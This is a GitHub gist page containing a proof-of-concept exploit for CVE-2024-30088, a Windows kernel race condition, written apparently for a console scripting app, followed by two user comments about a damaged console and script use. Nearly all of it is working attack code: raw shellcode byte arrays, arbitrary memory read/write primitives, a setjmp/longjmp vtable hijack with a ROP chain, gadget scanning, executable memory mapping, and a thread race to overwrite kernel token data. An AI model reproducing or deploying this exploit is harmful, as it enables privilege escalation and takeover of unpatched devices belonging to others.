Skip to content

Instantly share code, notes, and snippets.

@carrot-c4k3
Created June 28, 2024 03:36
Show Gist options
  • Save carrot-c4k3/6ef33d57733b08281b26db0a50b1a447 to your computer and use it in GitHub Desktop.
Save carrot-c4k3/6ef33d57733b08281b26db0a50b1a447 to your computer and use it in GitHub Desktop.
CVE-2024-30088 PoC
//
// CVE-2024-30088 PoC - @carrot_c4k3 (exploits.forsale)
//
let get_token_handle_code = [0x48,0x89,0x4c,0x24,0x8,0x48,0x83,0xec,0x48,0x48,0xc7,0x44,0x24,0x38,0x0,0x0,0x0,0x0,0x48,0x8b,0x44,0x24,0x50,0xff,0x10,0x4c,0x8d,0x44,0x24,0x38,0xba,0x0,0x0,0x0,0x2,0x48,0x8b,0xc8,0x48,0x8b,0x44,0x24,0x50,0xff,0x50,0x8,0xc7,0x44,0x24,0x30,0x0,0x0,0x0,0x0,0x48,0x8d,0x44,0x24,0x30,0x48,0x89,0x44,0x24,0x20,0x41,0xb9,0x0,0x20,0x0,0x0,0x48,0x8b,0x44,0x24,0x50,0x4c,0x8b,0x40,0x18,0xba,0x16,0x0,0x0,0x0,0x48,0x8b,0x4c,0x24,0x38,0x48,0x8b,0x44,0x24,0x50,0xff,0x50,0x10,0x48,0x8b,0x44,0x24,0x50,0x48,0x8b,0x4c,0x24,0x38,0x48,0x89,0x48,0x40,0x8b,0x44,0x24,0x30,0x48,0x83,0xc4,0x48,0xc3,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc]
let create_smash_thread_code = [0x48,0x89,0x4c,0x24,0x8,0x48,0x83,0xec,0x38,0x48,0xc7,0x44,0x24,0x28,0x0,0x0,0x0,0x0,0xc7,0x44,0x24,0x20,0x0,0x0,0x0,0x0,0x4c,0x8b,0x4c,0x24,0x40,0x48,0x8b,0x44,0x24,0x40,0x4c,0x8b,0x40,0x28,0x33,0xd2,0x33,0xc9,0x48,0x8b,0x44,0x24,0x40,0xff,0x50,0x20,0x48,0x83,0xc4,0x38,0xc3,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc]
let attempt_race_code = [0x48,0x89,0x4c,0x24,0x8,0x48,0x83,0xec,0x48,0x48,0x8b,0x44,0x24,0x50,0xff,0x50,0x50,0xba,0xf,0x0,0x0,0x0,0x48,0x8b,0xc8,0x48,0x8b,0x44,0x24,0x50,0xff,0x50,0x58,0xc7,0x44,0x24,0x30,0x0,0x0,0x0,0x0,0x48,0xc7,0x44,0x24,0x38,0x0,0x0,0x0,0x0,0xeb,0xd,0x48,0x8b,0x44,0x24,0x38,0x48,0xff,0xc0,0x48,0x89,0x44,0x24,0x38,0x48,0x8b,0x44,0x24,0x50,0x48,0x8b,0x40,0x48,0x48,0x39,0x44,0x24,0x38,0x73,0x31,0x48,0x8d,0x44,0x24,0x30,0x48,0x89,0x44,0x24,0x20,0x41,0xb9,0x0,0x20,0x0,0x0,0x48,0x8b,0x44,0x24,0x50,0x4c,0x8b,0x40,0x18,0xba,0x16,0x0,0x0,0x0,0x48,0x8b,0x44,0x24,0x50,0x48,0x8b,0x48,0x40,0x48,0x8b,0x44,0x24,0x50,0xff,0x50,0x10,0xeb,0xb2,0x48,0x83,0xc4,0x48,0xc3,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc]
let smash_func_code = [0x4C,0x8B,0xE1,0x41,0xFF,0x54,0x24,0x50,0x48,0x8B,0xC8,0xBA,0x0F,0x00,0x00,0x00,0x41,0xFF,0x54,0x24,0x58,0x49,0x8B,0x44,0x24,0x30,0x49,0x8B,0x4C,0x24,0x38,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0xEB,0x83]
fn round_down(val, bound) {
return floor(val - (val % bound))
}
fn array_compare(a1, a2) {
if (len(a1) != len(a2)) {
return false
}
var arr_len = len(a1)
for (var i = 0; i < arr_len; i++) {
if (a1[i] != a2[i]) {
return false
}
}
return true
}
// shorthand helpers for memory access
fn write8(addr, val) {
pointerSetUnsignedInteger8Bit(0, addr, val)
}
fn read8(addr) {
return pointerGetUnsignedInteger8Bit(0, addr)
}
fn write16(addr, val) {
pointerSetAtOffsetUnsignedInteger16Bit(0, addr, val)
}
fn read16(addr) {
return pointerGetAtOffsetUnsignedInteger16Bit(0, addr)
}
fn write32(addr, val) {
pointerSetAtOffsetUnsignedInteger(0, addr, val)
}
fn read32(addr) {
return pointerGetAtOffsetUnsignedInteger(0, addr)
}
fn write64(addr, val) {
pointerSetAtOffsetUnsignedInteger64Bit(0, addr, val)
}
fn read64(addr) {
return pointerGetAtOffsetUnsignedInteger64Bit(0, addr)
}
fn read_buf(addr, buf) {
var buf_len = len(buf)
for (var i = 0; i < buf_len; i++) {
buf[i] = read8(addr + i)
}
}
fn write_buf(addr, buf) {
var buf_len = len(buf)
for (var i = 0; i < buf_len; i++) {
write8(addr+i, buf[i])
}
}
fn find_bytes(addr, max_len, pattern, buf) {
for (var i = 0; i < max_len; i++) {
read_buf(addr + i, buf)
if (array_compare(pattern, buf)) {
return addr + i
}
}
return 0
}
fn find64(addr, max_len, v) {
var offset = 0
while (1) {
var temp_val = read64(addr+offset)
if (temp_val == v) {
return addr+offset
}
offset += 8
}
return 0
}
// shorthand funcs
fn ptr_to_num(p) {
return numberFromRaw64BitUnsignedInteger(p)
}
fn make_cstr(s) {
var str_len = len(s) + 1
var s_ptr = globalArrayNew8Bit(s, str_len)
pointerSetString(s_ptr, 0, s)
return ptr_to_num(s_ptr)
}
var gs_base = 0
var ntdll_base = 0
var kernelbase_base = 0
var longjmp_ptr = 0
var setjmp_ptr = 0
var gadget_ptr = 0
var gadget_rsp0x48_ptr = 0
var gadget_pushrax_ptr = 0
fn call_native(func_ptr, rcx, rdx, r8, r9) {
// set this gadget here
gadget_rsp0x48_ptr = gs_base + 0xE04B
gadget_pushrax_ptr = gs_base + 0x1F13A
var call_done = false
// allocate 0x120 (space for vtable + setjmp data)
var obj_ptr = globalArrayNew8Bit("call", 0x100)
var objp = ptr_to_num(obj_ptr)
var vt_ptr = globalArrayNew8Bit("vtable", 0x18)
var vtp = ptr_to_num(vt_ptr)
var stack_size = 0x4000
var stack_ptr = globalArrayNew8Bit("stack", stack_size)
var stackp = ptr_to_num(stack_ptr)
var jmpctx_ptr = globalArrayNew8Bit("jctx", 0x100)
var jcp = ptr_to_num(jmpctx_ptr)
// set up vtable pointers
write64(vtp+8, setjmp_ptr)
write64(objp, vtp)
// trigger vtable call
slBus_destroy(obj_ptr)
memcpy(jmpctx_ptr, 0, obj_ptr, 0, 0x100)
// set up our rop chain
var r10 = 0
var r11 = 0
write64(stackp+stack_size-0xA0, rdx)
write64(stackp+stack_size-0x98, rcx)
write64(stackp+stack_size-0x90, r8)
write64(stackp+stack_size-0x88, r9)
write64(stackp+stack_size-0x80, r10)
write64(stackp+stack_size-0x78, r11)
write64(stackp+stack_size-0x70, func_ptr)
write64(stackp+stack_size-0x68, gadget_pushrax_ptr)
// 0x30 bytes of padding
write64(stackp+stack_size-0x38, 0x15151515)
write64(stackp+stack_size-0x30, gs_base+0x109C4A)
write64(stackp+stack_size-0x28, jcp)
write64(stackp+stack_size-0x20, longjmp_ptr);
// set up the context to do the longjmp
write64(vtp+8, longjmp_ptr)
write64(objp, vtp)
// rsp
write64(objp+0x10, stackp+stack_size-0xA0)
// rip
write64(objp+0x50, gadget_ptr)
// trigger vtable call
slBus_destroy(obj_ptr)
var ret_val = read64(stackp+stack_size-0x68)
// clean up our objects
globalArrayDelete("call")
globalArrayDelete("vtable")
globalArrayDelete("stack")
globalArrayDelete("jctx")
return ret_val
}
fn find_module_base(addr) {
var search_addr = round_down(addr, 0x10000)
while (1) {
var magic_static = [0x4D, 0x5A]
var magic_read = [0, 0]
read_buf(search_addr, magic_read)
if (array_compare(magic_static, magic_read)) {
return search_addr
}
search_addr -= 0x10000
}
return 0
}
fn get_dll_exports(base_addr) {
var res = {}
var magic_static = [0x4D, 0x5A]
var magic_read = [0, 0]
read_buf(base_addr, magic_read)
if (!array_compare(magic_static, magic_read)) {
printConsole("Magic is invalid!\n")
return res
}
var e_lfanew = read32(base_addr+0x3c)
var exports_addr = base_addr + read32(base_addr+e_lfanew+0x70+0x18)
var num_funcs = read32(exports_addr+0x14)
var num_names = read32(exports_addr+0x18)
var funcs_addr = base_addr + read32(exports_addr+0x1c)
var names_addr = base_addr + read32(exports_addr+0x20)
var ords_addr = base_addr + read32(exports_addr+0x24)
for (var i = 0; i < num_names; i++) {
var name_addr = base_addr + read32(names_addr + (4 * i))
var name_str = pointerGetSubstring(0, name_addr, 0x20)
var ordinal = read16(ords_addr + (2 * i))
var func_addr = base_addr + read32(funcs_addr + (4 * ordinal))
res[name_str] = func_addr
}
return res
}
var VirtualAlloc_ptr = 0
var VirtualProtect_ptr = 0
fn map_code(code) {
var code_addr = call_native(VirtualAlloc_ptr, 0, 0x100000, 0x3000, 4)
write_buf(code_addr, code)
var oldp_ptr = globalArrayNew8Bit("oldp", 0x100)
var oldpp = ptr_to_num(oldp_ptr)
call_native(VirtualProtect_ptr, code_addr, 0x100000, 0x20, oldpp)
return code_addr
}
// create and dump our object to the terminal
var slbus_ptr = slBus_create()
var slp = numberFromRaw64BitUnsignedInteger(slbus_ptr)
// get the base of the GameScript module via the vtable
gs_base = read64(slp) - 0x16faf8
ntdll_base = find_module_base(read64(gs_base + 0x125398))
kernelbase_base = find_module_base(read64(gs_base + 0x1253A0))
var setjmp_bytes = [0x48,0x89,0x11,0x48,0x89,0x59,0x08,0x48,0x89,0x69,0x18,0x48,0x89,0x71,0x20,0x48]
var longjmp_bytes = [0x48,0x8B,0xC2,0x48,0x8B,0x59,0x08,0x48,0x8B,0x71,0x20,0x48,0x8B,0x79,0x28,0x4C]
var tmp_bytes = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]
setjmp_ptr = find_bytes(ntdll_base, 0x217000, setjmp_bytes, tmp_bytes)
longjmp_ptr = find_bytes(ntdll_base, 0x217000, longjmp_bytes, tmp_bytes)
// bytes for the following gadget: pop rdx;pop rcx;pop r8;pop r9;pop r10;pop r11; ret
var gadget_bytes = [0x5A, 0x59, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x41, 0x5B, 0xC3]
tmp_bytes = [0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
gadget_ptr = find_bytes(ntdll_base, 0x217000, gadget_bytes, tmp_bytes)
// get the ntdll & kernel base exports and find VirtualAlloc/Protect
var kernelbase_exports = get_dll_exports(kernelbase_base)
var ntdll_exports = get_dll_exports(ntdll_base)
VirtualAlloc_ptr = kernelbase_exports["VirtualAlloc"]
VirtualProtect_ptr = kernelbase_exports["VirtualProtect"]
// map our code first blob of shellcode
var code_addr = map_code(get_token_handle_code)
var smash_func_addr = map_code(smash_func_code)
var create_smash_thread_ptr = map_code(create_smash_thread_code)
var attempt_race_ptr = map_code(attempt_race_code)
// create our shellcode context
var ctx_ptr = globalArrayNew8Bit("ctxp", 0x500)
var ctxp = ptr_to_num(ctx_ptr)
// allocate our token info buffer
var tinfo_ptr = globalArrayNew8Bit("tinfo", 0x2000)
var tinfop = ptr_to_num(tinfo_ptr)
// look up the functions needed by our shellcode
var OpenProcessToken_ptr = kernelbase_exports["OpenProcessToken"]
var GetCurrentProcess_ptr = kernelbase_exports["GetCurrentProcess"]
var NtQueryInformationToken_ptr = ntdll_exports["NtQueryInformationToken"]
var CreateThread_ptr = kernelbase_exports["CreateThread"]
var TerminateThread_ptr = kernelbase_exports["TerminateThread"]
var GetCurrentThread_ptr = kernelbase_exports["GetCurrentThread"]
var SetThreadPriority_ptr = kernelbase_exports["SetThreadPriority"]
// setup shellcode ctx
write64(ctxp, GetCurrentProcess_ptr)
write64(ctxp+8, OpenProcessToken_ptr)
write64(ctxp+0x10, NtQueryInformationToken_ptr)
write64(ctxp+0x18, tinfop)
write64(ctxp+0x20, CreateThread_ptr)
write64(ctxp+0x28, smash_func_addr)
write64(ctxp+0x48, 0x800000)
write64(ctxp+0x50, GetCurrentThread_ptr)
write64(ctxp+0x58, SetThreadPriority_ptr)
// call create_token_handle
var bytes_returned = call_native(code_addr, ctxp, 0, 0, 0)
var token_handle = read64(ctxp+0x40)
var magic_str = [0x54, 0x00, 0x53, 0x00, 0x41, 0x00, 0x3A, 0x00, 0x2F, 0x00, 0x2F, 0x00, 0x50, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x55, 0x00, 0x6E, 0x00, 0x69, 0x00, 0x71, 0x00, 0x75, 0x00, 0x65, 0x00]
tmp_bytes = [0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
var magic_str_ptr = find_bytes(tinfop, bytes_returned, magic_str, tmp_bytes)
var smash_ptr = find64(tinfop, bytes_returned, magic_str_ptr)
write64(ctxp+0x30, smash_ptr)
write32(ctxp+0x38, 0x41414141)
write32(ctxp+0x3C, 0xFFFFFFFF)
// trigger the bug
var thread_handle = call_native(create_smash_thread_ptr, ctxp, 0, 0, 0)
call_native(attempt_race_ptr, ctxp, 0, 0, 0)
call_native(TerminateThread_ptr, thread_handle, 0, 0, 0)
// if we got here the bug did not trigger
printConsole("If you're seeing this the kernel vulnerability is patched, sorry :c\n")
@KsAmJ
Copy link

KsAmJ commented Jun 28, 2024

Hi Emma. My console got the black screen of death had to send it to repair to replace the retimer chip. I was on the exploited firmware but now the console has been reset. What are my options here?

@Sergb1970
Copy link

Sergb1970 commented Jul 2, 2024

Tell me how to clear the window of Game Script from the previous script.
I can't insert a new one.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment